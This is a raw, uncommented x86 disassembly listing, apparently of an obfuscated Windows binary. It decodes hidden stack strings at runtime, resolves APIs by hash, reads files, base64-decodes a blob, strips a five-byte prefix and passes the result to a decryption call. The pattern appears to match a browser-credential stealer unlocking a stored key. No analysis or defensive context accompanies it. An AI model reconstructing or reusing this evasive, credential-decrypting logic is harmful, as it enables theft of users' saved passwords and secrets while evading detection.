inc esi
cmp ecx, esi
jne 0x42a870
jmp case.0x429771.26
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x429771.26
push eax
push 4
push ecx
push dword [0x44cd28]
call fcn.0043e090
add esp, 0x10
jmp case.0x429771.26
jmp dword [0x447e88]
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x18], 0x34353637
xor ecx, ecx
mov edx, 0xb3
nop
nop
nop
nop
movzx ebx, byte [esp + ecx + 0x18]
mov esi, ecx
or esi, ebx
or esi, 0x3631664c
not ebx
or ebx, edx
and ebx, esi
mov esi, ebx
or esi, 0x82
and ebx, 0x82
add ebx, esi
add bl, 2
mov byte [esp + ecx + 0x18], bl
inc ecx
dec edx
cmp ecx, 4
jne 0x42a8c0
mov ecx, dword [0x44cd20]
test ecx, ecx
je 0x42a8a0
mov edx, dword [esp + 0x18]
xor esi, esi
mov edi, dword [0x44cd24]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x42a920
inc esi
cmp ecx, esi
jne 0x42a910
jmp 0x42a8a0
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x42a8a0
push eax
push 4
push ecx
push dword [0x44cd28]
call fcn.0043e090
add esp, 0x10
jmp dword [0x447e88]
jmp dword [0x447e74]
mov ecx, ebx
call fcn.0042c390
push ebx
call fcn.00408310
add esp, 4
mov ecx, ebx
call fcn.0042c390
push ebx
call fcn.00408310
add esp, 4
jmp dword [0x447e6c]
mov edi, dword [esp + 0x48]
test edi, edi
jns 0x42aa58
mov ebp, 0xffffffff
jmp 0x42aa5b
lea ebp, [edi + edi]
mov ebx, dword [case.0x429f32.60]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
call fcn.00408300
add esp, 4
jmp ebx
mov ebp, dword [0x44cd1c]
mov ebx, eax
lea esi, [esp + 0x48]
jmp dword [0x447ff0]
mov ecx, dword [esp + 0x84]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44801c]
mov dword [esp + 0x84], ecx
mov edi, dword [esp + ecx + 0x90]
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + eax], 0
lea eax, [eax + 2]
jne 0x42aac0
add eax, edi
add eax, 0xfffffffe
mov ecx, edi
not ecx
and ecx, eax
xor eax, edi
add ecx, ecx
sub ecx, eax
mov dword [esp + 0x68], ecx
mov edx, ecx
sar edx, 1
mov eax, dword [esp + 0x48]
lea ecx, [edx + eax]
mov dword [esp + 0x54], edx
add edx, eax
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x42ab03
mov eax, 0xffffffff
push eax
call fcn.00408300
add esp, 4
movzx ecx, word [esi]
mov esi, eax
test cx, cx
je 0x42ab31
mov edx, dword [esp + 0x60]
mov eax, esi
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42ab20
mov dword [esp + 0x40], esi
mov dword [esp + 0x6c], edi
mov word [eax], 0
mov word [eax], 0x5c
mov dword [esp], 0x71420fb0
mov dword [esp + 4], 0x75d773e1
mov dword [esp + 8], 0x79da77d7
mov dword [esp + 0xc], 0x7dcf7b18
mov dword [esp + 0x10], 0x61dd7fe8
mov dword [esp + 0x14], 0x65c563f4
mov dword [esp + 0x18], 0x6764
mov ecx, 0xc2
mov edx, esp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [edx]
lea ebx, [ecx - 0x24dea300]
or ebx, edi
and edi, ecx
mov esi, ebx
not esi
add esi, edi
sub ebx, edi
mov edi, ebx
and edi, 0x32
mov ebp, esi
and ebp, 0xcc
and esi, 1
add esi, esi
sub esi, edi
and ebx, 1
or ebx, ebp
add ebx, esi
mov byte [edx], bl
inc edx
dec ecx
cmp ecx, 0xa6
jne 0x42ab90
add eax, 2
mov ebp, dword [esp + 0x6c]
movzx ecx, word [ebp]
test cx, cx
je 0x42ac10
lea edx, [ebp + 2]
mov esi, dword [esp + 0x40]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42abf0
jmp 0x42ac14
mov esi, dword [esp + 0x40]
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x42ac41
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42ac30
mov word [eax], 0
lea eax, [esp + 0x44]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00440530
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44802c]
xor ebx, ebx
jmp dword [0x44808c]
lea esi, [esp + 0x78]
jmp dword [0x448038]
push 0
push esi
push dword [esp + 0x4c]
call fcn.00440830
add esp, 0xc
nop
nop
nop
nop
nop
nop
nop
push 0
push esi
push dword [esp + 0x4c]
call fcn.00440830
add esp, 0xc
jmp dword [0x44803c]
not eax
shr eax, 0x1f
xor edi, edi
xor ebx, ebx
jmp dword [eax*4 + 0x448044]
mov esi, dword [esp + 0x78]
lea eax, [esi + 1]
push eax
call fcn.00408300
add esp, 4
push 0
push esi
mov esi, eax
push eax
push dword [esp + 0x50]
call fcn.004408e0
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44804c]
mov eax, dword [esp + 0x78]
mov byte [esi + eax], 0
push esi
call fcn.00401000
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x448054]
jmp dword [0x448074]
mov dword [esp + 0x80], eax
push eax
call fcn.00401950
add esp, 4
mov dword [esp], 0xf8fdeeeb
mov dword [esp + 4], 0xd7d2e4ea
mov dword [esp + 8], 0xc0d4c492
mov dword [esp + 0xc], 0xdfdadcd2
mov dword [esp + 0x10], 0xc0cdcdcd
mov word [esp + 0x14], 0xd4c9
mov byte [esp + 0x16], 0xb2
mov ecx, esp
mov byte [ecx + 0x1b], 0
mov dword [ecx + 0x17], 0
nop
nop
nop
nop
mov ecx, ebx
add cl, 0x1a
xor cl, byte [esp + ebx]
add cl, 0x7e
mov byte [esp + ebx], cl
inc ebx
cmp ebx, 0x1c
jne 0x42ad70
mov ecx, esp
push ecx
push eax
call fcn.00401a90
add esp, 8
mov ebx, eax
mov edx, 0xffffffff
mov ecx, 0xfffffffd
nop
nop
nop
nop
mov eax, edx
add ecx, 3
cmp byte [ebx + edx + 1], 0
lea edx, [edx + 1]
jne 0x42ada0
shr ecx, 2
movzx eax, byte [ebx + edx - 1]
cmp eax, 0x3d
je 0x42adc1
cmp eax, 0x2e
jne 0x42adc2
dec ecx
movzx eax, byte [ebx + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x3c], edx
je 0x42add5
cmp eax, 0x2e
jne 0x42addc
mov dword [esp + 0x5c], esi
dec ecx
jmp 0x42ade0
mov dword [esp + 0x5c], esi
mov dword [esp + 0x7c], ecx
lea eax, [ecx + 1]
push eax
call fcn.00408300
add esp, 4
mov dword [esp + 0x38], eax
cmp dword [esp + 0x3c], 0
je 0x42aef3
xor ebp, ebp
mov esi, 2
mov dword [esp + 0x58], ebx
jmp 0x42ae28
mov edx, dword [esp + 0x3c]
lea eax, [esi + 4]
add esi, 2
mov ebp, dword [esp + 0x34]
cmp esi, edx
mov esi, eax
mov ebx, dword [esp + 0x58]
jae 0x42aef3
movzx eax, byte [ebx + esi - 2]
push eax
call fcn.00420050
add esp, 4
mov ecx, ebx
mov ebx, eax
movzx eax, byte [ecx + esi - 1]
push eax
call fcn.00420050
mov edx, dword [esp + 0x40]
add esp, 4
mov bh, al
shl bl, 2
shr al, 4
and al, 3
or al, bl
lea ecx, [ebp + 1]
mov dword [esp + 0x34], ecx
mov ecx, dword [esp + 0x38]
mov byte [ecx + ebp], al
cmp esi, edx
jae 0x42ae10
mov dword [esp + 0x64], ebp
mov eax, dword [esp + 0x58]
movzx eax, byte [eax + esi]
push eax
call fcn.00420050
mov edx, dword [esp + 0x40]
add esp, 4
cmp al, 0x40
je 0x42ae10
mov bl, al
shl bh, 4
shr al, 2
and al, 0xf
or al, bh
mov ebp, dword [esp + 0x64]
lea ecx, [ebp + 2]
mov dword [esp + 0x34], ecx
mov ecx, dword [esp + 0x38]
mov byte [ecx + ebp + 1], al
lea eax, [esi + 1]
cmp eax, edx
jae 0x42ae10
mov eax, dword [esp + 0x58]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.00420050
add esp, 4
cmp al, 0x40
je 0x42ae0c
shl bl, 6
add al, bl
mov edx, dword [esp + 0x64]
mov ecx, edx
and ecx, 1
mov ebx, dword [esp + 0x34]
or ebx, 1
add ebx, ecx
mov dword [esp + 0x34], ebx
mov ecx, dword [esp + 0x38]
mov byte [ecx + edx + 2], al
jmp 0x42ae0c
mov eax, dword [esp + 0x7c]
add eax, 0xfffffffb
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x38]
add eax, 5
mov dword [esp + 0x8c], eax
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0
push 0xe18a387a
push dword [0x44cd2c]
call fcn.0043fb70
add esp, 8
lea ecx, [esp + 0x70]
lea edx, [esp + 0x88]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov esi, dword [esp + 0x5c]
mov ebp, dword [esp + 0x6c]
jmp dword [ecx*4 + 0x44805c]
xor ebx, ebx
jmp dword [0x44806c]
mov eax, dword [esp + 0x68]
add eax, 0x10
cmp dword [esp + 0x54], 0xfffffff8
jge 0x42af7c
mov eax, 0xffffffff
push eax
call fcn.00408300
add esp, 4
mov dword [esp + 0x34], eax
mov dword [esp], 0x315a3f0d
mov dword [esp + 4], 0x350c3340
mov dword [esp + 8], 0x49be3740
mov dword [esp + 0xc], 0x4d4a4b3c
mov eax, 0xffadffb5
mov ecx, 0x52004a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x52004b]
mov ebx, edx
xor ebx, eax
or ebx, ecx
add bl, bl
add bl, dl
movzx edx, bl
add edx, eax
add dl, 0x79
mov byte [esp + eax + 0x52004b], dl
inc eax
dec ecx
cmp eax, 0xffadffc5
jne 0x42afc0
movzx ecx, word [ebp]
mov ebx, dword [esp + 0x34]
mov eax, ebx
test cx, cx
je 0x42b011
lea edx, [ebp + 2]
mov eax, ebx
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b000
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x42b041
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b030
mov word [eax], 0
mov ecx, dword [esp + 0x108]
push dword [esp + 0x70]
push dword [esp + 0x78]
push ebx
call fcn.00409030
mov ecx, ebx
mov ebx, eax
jmp dword [0x448064]
push ecx
call fcn.00408310
add esp, 4
push 0xa7ffa4f5
push dword [0x44cd14]
call fcn.0043fb70
add esp, 8
push dword [esp + 0x74]
call eax
jmp dword [0x44806c]
push dword [esp + 0x38]
call fcn.00408310
add esp, 4
push dword [esp + 0x80]
call fcn.00401bc0
add esp, 4
jmp dword [0x448074]
jmp dword [0x44807c]
push esi
call fcn.00408310
add esp, 4
nop
nop
nop
push esi
call fcn.00408310
add esp, 4
jmp dword [0x448084]
mov eax, dword [esp + 0x44]
mov dword [esp], 0x34353637
mov ecx, 0xb3
nop
movzx edx, byte [esp + edi]
mov esi, edi
or esi, edx
or esi, 0x3631664c
not edx
or edx, ecx
and edx, esi
mov esi, edx
or esi, 0x82
and edx, 0x82
add edx, esi
add dl, 2
mov byte [esp + edi], dl
inc edi
dec ecx
cmp edi, 4
jne 0x42b0e0
mov ecx, dword [0x44cd20]
test ecx, ecx
je 0x42b150
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x44cd24]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x42b140
inc esi
cmp ecx, esi
jne 0x42b130
jmp 0x42b150
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42b482
nop
nop
nop
nop
mov esi, dword [esp + 0x40]
jmp dword [0x44808c]
jmp dword [0x448094]
push esi
call fcn.00408310
add esp, 4
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00408310
add esp, 4
jmp dword [0x44809c]
movzx eax, bl
mov esi, dword [esp + 0x50]
jmp dword [eax*4 + 0x4480a4]
mov eax, dword [esp + 0x48]
mov edx, dword [esp + 0x54]
lea ecx, [edx + eax]
add edx, eax
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x42b1ad
mov eax, 0xffffffff
push eax
call fcn.00408300
add esp, 4
mov edi, eax
movzx ecx, word [esi]
test cx, cx
je 0x42b1e1
mov edx, dword [esp + 0x60]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b1d0
mov word [eax], 0x5c
mov dword [esp], 0x1520760
mov dword [esp + 4], 0xd6f0371
mov dword [esp + 8], 0x97a0f6f
mov dword [esp + 0xc], 0x15570b28
mov dword [esp + 0x10], 0x11671768
mov dword [esp + 0x14], 0x1d711362
mov dword [esp + 0x18], 0x19711f75
mov dword [esp + 0x1c], 0x256e1b7c
mov dword [esp + 0x20], 0x2158274b
mov dword [esp + 0x24], 0x2d56234f
mov dword [esp + 0x28], 0x294c2f40
mov word [esp + 0x2c], 0x2b28
mov dword [esp + 0x2e], 0
mov ecx, 0x81
mov edx, 0x7e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 0x43
mov ebx, ecx
and ebx, 0xbc
or ebx, esi
xor bl, byte [esp + ecx - 0x81]
xor bl, 0x43
add bl, 0x7b
mov byte [esp + ecx - 0x81], bl
inc ecx
dec edx
cmp ecx, 0xb3
jne 0x42b260
add eax, 2
movzx ecx, word [ebp]
test cx, cx
je 0x42b2b1
lea edx, [ebp + 2]
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b2a0
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x42b2e1
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b2d0
mov word [eax], 0
mov eax, dword [esp + 0x68]
add eax, 0x12
cmp dword [esp + 0x54], 0xfffffff7
jge 0x42b2f9
mov eax, 0xffffffff
push eax
call fcn.00408300
add esp, 4
mov ebx, eax
mov dword [esp], 0x9fe0b3d
mov dword [esp + 4], 0x58c07f3
mov dword [esp + 8], 0x1f603ff
mov dword [esp + 0xc], 0x1de01ffc
mov word [esp + 0x10], 0x1b1c
mov eax, esp
mov byte [eax + 0x14], 0
mov word [eax + 0x12], 0
mov eax, 0x381e8dc3
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x381e8dc3]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x31
mov byte [esp + eax - 0x381e8dc3], cl
inc eax
cmp eax, 0x381e8dd8
jne 0x42b340
movzx ecx, word [ebp]
mov eax, ebx
test cx, cx
je 0x42b392
add ebp, 2
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebp]
add ebp, 2
test cx, cx
jne 0x42b380
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x42b3c1
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b3b0
mov word [eax], 0
mov dword [esp], 0xc1c6c7ee
mov eax, 0x3c2b7351
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x3c2b7351]
lea edx, [eax - 0x3c2b7300]
and edx, eax
or edx, ecx
and ecx, eax
xor ecx, edx
add cl, 0x6b
mov byte [esp + eax - 0x3c2b7351], cl
inc eax
cmp eax, 0x3c2b7355
jne 0x42b3e0
mov eax, esp
push 0
push 0
push 0xc00000
push eax
push edi
push ebx
push dword [esp + 0x120]
call fcn.00423890
add esp, 0x1c
mov ecx, dword [esp + 0x4c]
and cl, 1
or cl, al
mov dword [esp + 0x4c], ecx
jmp dword [0x4480ac]
jmp dword [0x4480b4]
push ebx
call fcn.00408310
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
call fcn.00408310
add esp, 4
jmp dword [0x4480c0]
jmp dword [0x4480c4]
push edi
call fcn.00408310
add esp, 4
mov eax, dword [case.0x429f32.107]
mov esi, dword [esp + 0x50]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push eax
push 4
push ecx
push dword [0x44cd28]
call fcn.0043e090
add esp, 0x10
mov esi, dword [esp + 0x40]
jmp dword [0x44808c]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447ffc]
jmp dword [0x448004]
push ebx
call fcn.00408310
add esp, 4
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x448014]
xor eax, eax
jmp 0x42b737
mov dword [esp + 0x50], ebx
mov dword [esp], 0x93eb91cc
mov dword [esp + 4], 0xafcdaddf
mov dword [esp + 8], 0xabd8a9df
mov dword [esp + 0xc], 0xa7a6a5d8
mov eax, 0x4c612d9c
mov ecx, 0xb39ed264
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x4c612d9c]
mov edx, eax
and edx, esi
lea edi, [ecx + edx*2]
add edx, edx
xor edi, esi
not edx
add edx, eax
and edx, esi
add edx, edx
sub edx, edi
mov esi, edx
and esi, 0x73
xor edx, 0xf3
lea edx, [edx + esi*2]
inc dl
mov byte [esp + eax - 0x4c612d9c], dl
inc eax
dec ecx
cmp eax, 0x4c612dac
jne 0x42b500
lea eax, [esp + 0xb2]
mov edx, esp
mov edi, eax
mov ecx, 4
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xc2]
lea esi, [esp + 0x10]
xor edx, edx
xor ecx, ecx
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov dword [esp], 0xcf57c98c
mov dword [esp + 4], 0xc3a5cd5b
mov dword [esp + 8], 0xc750c153
mov dword [esp + 0xc], 0xfbbdc5a0
mov dword [esp + 0x10], 0xff6cf999
mov dword [esp + 0x14], 0xf364fd9d
mov dword [esp + 0x18], 0xf7f6f179
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, ecx
shr ebx, 4
mov esi, ecx
not esi
mov ebp, ecx
and ebp, 0x7ffffff0
or ebp, 2
mov edi, ecx
shr edi, 1
and edi, 1
imul edi, ebp
movzx ebp, byte [esp + ecx]
and esi, 2
imul esi, ebx
mov ebx, edx
and ebx, 0x24
shl esi, 4
sub esi, ebx
add esi, ecx
lea esi, [esi + edi*2]
add esi, 0x5b164fd2
xor esi, ebp
mov edi, esi
and edi, 0x65
xor esi, 0xe5
lea ebx, [esi + edi*2]
inc bl
mov byte [esp + ecx], bl
inc ecx
add edx, 2
cmp ecx, 0x1c
jne 0x42b5b0
lea edx, [esp + 0xd8]
mov esi, esp
mov edi, edx
mov ecx, 7
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
lea edi, [esp + 0xf4]
lea ebx, [esp + 0x1c]
xor esi, esi
xor ecx, ecx
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov dword [esp], 0x178f1964
mov dword [esp + 4], 0x138d159b
mov dword [esp + 8], 0xf801183
mov dword [esp + 0xc], 0xb7a0d90
mov dword [esp + 0x10], 0x7780964
lea ebx, [esp + 0x14]
mov dword [esp + 0x14], 0x504
nop
nop
nop
nop
nop
nop
mov ecx, esi
and ecx, 4
mov edi, esi
and edi, 2
mov ebp, edi
xor ebp, 2
imul ebp, ecx
or ecx, 2
imul ecx, edi
add ecx, ebp
mov edi, esi
xor edi, 0xf8ab8606
mov ebp, ecx
and ebp, edi
xor edi, ecx
lea ecx, [edi + ebp*2]
xor cl, byte [esp + esi]
add cl, 0xe2
mov byte [esp + esi], cl
mov ecx, esi
and ecx, 1
xor esi, 1
lea esi, [esi + ecx*2]
cmp esi, 0x18
jb case.default.0x42b713
lea esi, [esp + 0xc2]
mov ebp, esp
mov edi, esi
mov ecx, 5
xchg esi, ebp
rep movsd dword es:[edi], dword [esi]
xchg esi, ebp
lea edi, [esp + 0xd6]
mov ecx, 1
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], edx
mov dword [esp + 0x98], esi
mov esi, dword [esp + 0x50]
mov eax, esi
add eax, 2
mov dword [esp + 0x60], eax
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x4c], 0
cmp ecx, 0xc
setne al
xor ecx, ecx
jmp dword [eax*4 + 0x44801c]
jmp dword [0x448024]
jmp dword [0x4480e0]
add esp, 0xf4
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0x4c]
and al, 1
mov ecx, dword [case.0x429f32.56]
nop
nop
nop
jmp ecx
push esi
push edi
push ebx
push 9
lea eax, [esp + 0xae]
push eax
push 0
call ebp
push esi
push edi
push ebx
push 9
lea eax, [esp + 0xae]
push eax
push 0
call ebp
jmp dword [0x447ff8]
push esi
call fcn.00408310
add esp, 4
push esi
call fcn.00408310
add esp, 4
jmp dword [0x4480e8]
mov edi, dword [esp + 0x74]
test edi, edi
jns 0x42b922
mov eax, 0xffffffff
jmp 0x42b925
lea eax, [edi + edi]
push eax
call fcn.00408300
add esp, 4
mov ebx, eax
lea eax, [esp + 0x74]
push eax
push edi
push ebx
push 0x1f
lea eax, [esp + 0x90]
push eax
push 0
call dword [0x44cd1c]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448114]
xor esi, esi
jmp dword [0x44811c]
push ebx
call fcn.00408310
add esp, 4
xor esi, esi
jmp case.0x429f32.138
lea eax, [esp + 0x1c]
push 0x60
push 3
push 0x120089
push eax
push ebx
call fcn.00440530
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448124]
xor esi, esi
jmp dword [0x44820c]
lea eax, [esp + 0x70]
push 0
push eax
push dword [esp + 0x24]
call fcn.00440830
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
mov dword [esp + 0xc], 0
jmp dword [eax*4 + 0x44812c]
mov dword [esp + 0x78], ebx
mov esi, dword [esp + 0x70]
lea eax, [esi + 1]
push eax
call fcn.00408300
add esp, 4
push 0
push esi
mov dword [esp + 0x70], eax
push eax
push dword [esp + 0x28]
call fcn.004408e0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 0xc], 0
jmp dword [eax*4 + 0x448134]
mov ebx, dword [esp + 0x78]
jmp dword [0x448204]
push dword [esp + 0x68]
call fcn.00408310
add esp, 4
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x20], 0x34353637
mov ecx, 0xb3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ebp + 0x20]
mov esi, ebp
or esi, edx
or esi, 0x3631664c
not edx
or edx, ecx
and edx, esi
mov esi, edx
or esi, 0x82
and edx, 0x82
add edx, esi
add dl, 2
mov byte [esp + ebp + 0x20], dl
inc ebp
dec ecx
cmp ebp, 4
jne 0x42ba30
mov ecx, dword [0x44cd20]
test ecx, ecx
je 0x42ba9c
mov edx, dword [esp + 0x20]
xor esi, esi
mov edi, dword [0x44cd24]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x42ba90
inc esi
cmp ecx, esi
jne 0x42ba80
jmp 0x42ba9c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42c01e
mov eax, dword [esp + 0xc]
and al, 1
mov esi, eax
jmp dword [0x44820c]
push ebx
call fcn.00408310
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x44821c]
mov ecx, dword [case.0x429f32.134]
mov eax, esi
nop
nop
jmp ecx
add esp, 0xc0
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0x70]
mov esi, dword [esp + 0x68]
mov byte [esi + eax], 0
mov dword [esp + 0xc], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x20], 0x6e726c6a
mov dword [esp + 0x24], 0x62756076
mov word [esp + 0x28], 0x2d4b
mov byte [esp + 0x2a], 0xe
lea eax, [esp + 0x2b]
mov byte [eax + 2], 0
mov word [eax], 0
mov ecx, 0xef5fd401
nop
nop
movzx ebx, byte [esp + ecx + 0x10a02c1f]
mov edx, ebx
and edx, ecx
mov eax, edx
not eax
mov edi, edx
and edi, 0x1d
and eax, 2
imul eax, edi
sub bl, al
mov eax, edx
shr al, 1
and al, 1
or dl, 2
mul dl
add al, al
sub bl, al
movzx eax, bl
add eax, ecx
add al, 0xfb
mov byte [esp + ecx + 0x10a02c1f], al
inc ecx
cmp ecx, 0xef5fd40f
jne 0x42bb30
movzx ecx, byte [esp + 0x20]
test cl, cl
je 0x42bbc0
lea eax, [esp + 0x20]
mov edi, esi
jmp 0x42bb97
movzx ecx, byte [eax]
test cl, cl
je 0x42bbd2
movzx edx, byte [esi]
test dl, dl
je 0x42bbd0
inc esi
inc eax
lea ebx, [edi + 1]
cmp dl, cl
je 0x42bbab
mov edi, ebx
mov esi, ebx
je 0x42bb90
lea eax, [esp + 0x20]
jmp 0x42bb90
mov edi, esi
jmp 0x42bbd2
xor edi, edi
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x44813c]
jmp dword [0x44814c]
lea esi, [edi + 0xa]
movzx eax, byte [edi + 0xa]
xor ebx, ebx
test al, al
je 0x42bbe0
mov ecx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x22
je 0x42bc10
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42bc00
jmp 0x42bbe0
mov ebx, ecx
jmp dword [0x44814c]
mov ecx, ebx
sub ecx, esi
xor eax, eax
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x448154]
xor eax, eax
cmp byte [ebx - 1], 0x74
setne al
jmp dword [eax*4 + 0x44815c]
xor eax, eax
cmp byte [ebx - 2], 0x78
setne al
jmp dword [eax*4 + 0x448174]
xor eax, eax
cmp byte [ebx - 3], 0x74
setne al
jmp dword [eax*4 + 0x44817c]
jmp dword [0x448190]
xor eax, eax
cmp byte [ebx - 4], 0x2e
setne al
jmp dword [eax*4 + 0x448194]
mov eax, ecx
inc eax
mov dword [esp], eax
jns 0x42bc89
mov dword [esp + 8], ecx
mov eax, 0xffffffff
jmp 0x42bc94
mov dword [esp + 8], ecx
lea eax, [ecx*2 + 2]
push eax
call fcn.00408300
add esp, 4
mov dword [esp + 0x10], eax
push ebx
push esi
push dword [esp + 8]
push eax
call fcn.0040ab20
add esp, 0x10
push 0x60
push 3
push 0x120089
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x20]
call fcn.00440530
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44819c]
push 0
lea eax, [esp + 0x70]
push eax
push dword [esp + 0x20]
call fcn.00440830
add esp, 0xc
test eax, eax
setns al
mov edx, dword [esp + 0x6c]
cmp edx, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x4481a4]
push edx
mov dword [esp + 4], edx
call fcn.00408300
add esp, 4
push 0
push dword [esp + 4]
mov dword [esp + 0x6c], eax
push eax
push dword [esp + 0x24]
call fcn.004408e0
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4481ac]
xor ecx, ecx
mov eax, dword [esp + 0x10]
jmp 0x42bd47
add eax, 2
test dx, dx
je 0x42bd5c
mov dword [esp + 4], ecx
movzx edx, word [eax]
mov ecx, eax
cmp dx, 0x5c
je 0x42bd3f
mov ecx, dword [esp + 4]
jmp 0x42bd3f
xor eax, eax
mov ecx, dword [esp + 4]
test ecx, ecx
setne al
jmp dword [eax*4 + 0x4481b4]
mov dword [esp + 4], 0
xor eax, eax
jmp 0x42bd8b
sub ecx, dword [esp + 0x10]
sar ecx, 1
inc ecx
mov dword [esp + 4], ecx
mov eax, dword [esp + 8]
sub eax, ecx
add eax, 0x1b
push eax
call fcn.00408300
add esp, 4
mov dword [esp + 0x14], eax
mov eax, dword [esp + 4]
sub dword [esp + 8], eax
mov dword [esp + 0x20], 0x3c3e34d1
mov dword [esp + 0x24], 0x3123393a
mov dword [esp + 0x28], 0x3edce134
mov dword [esp + 0x2c], 0xe82d2038
mov dword [esp + 0x30], 0x3a2a2aca
mov dword [esp + 0x34], 0xec363c2c
mov word [esp + 0x38], 0xe2ef
mov byte [esp + 0x3a], 0x96
lea eax, [esp + 0x2b]
mov byte [eax + 0x14], 0
mov dword [eax + 0x10], 0
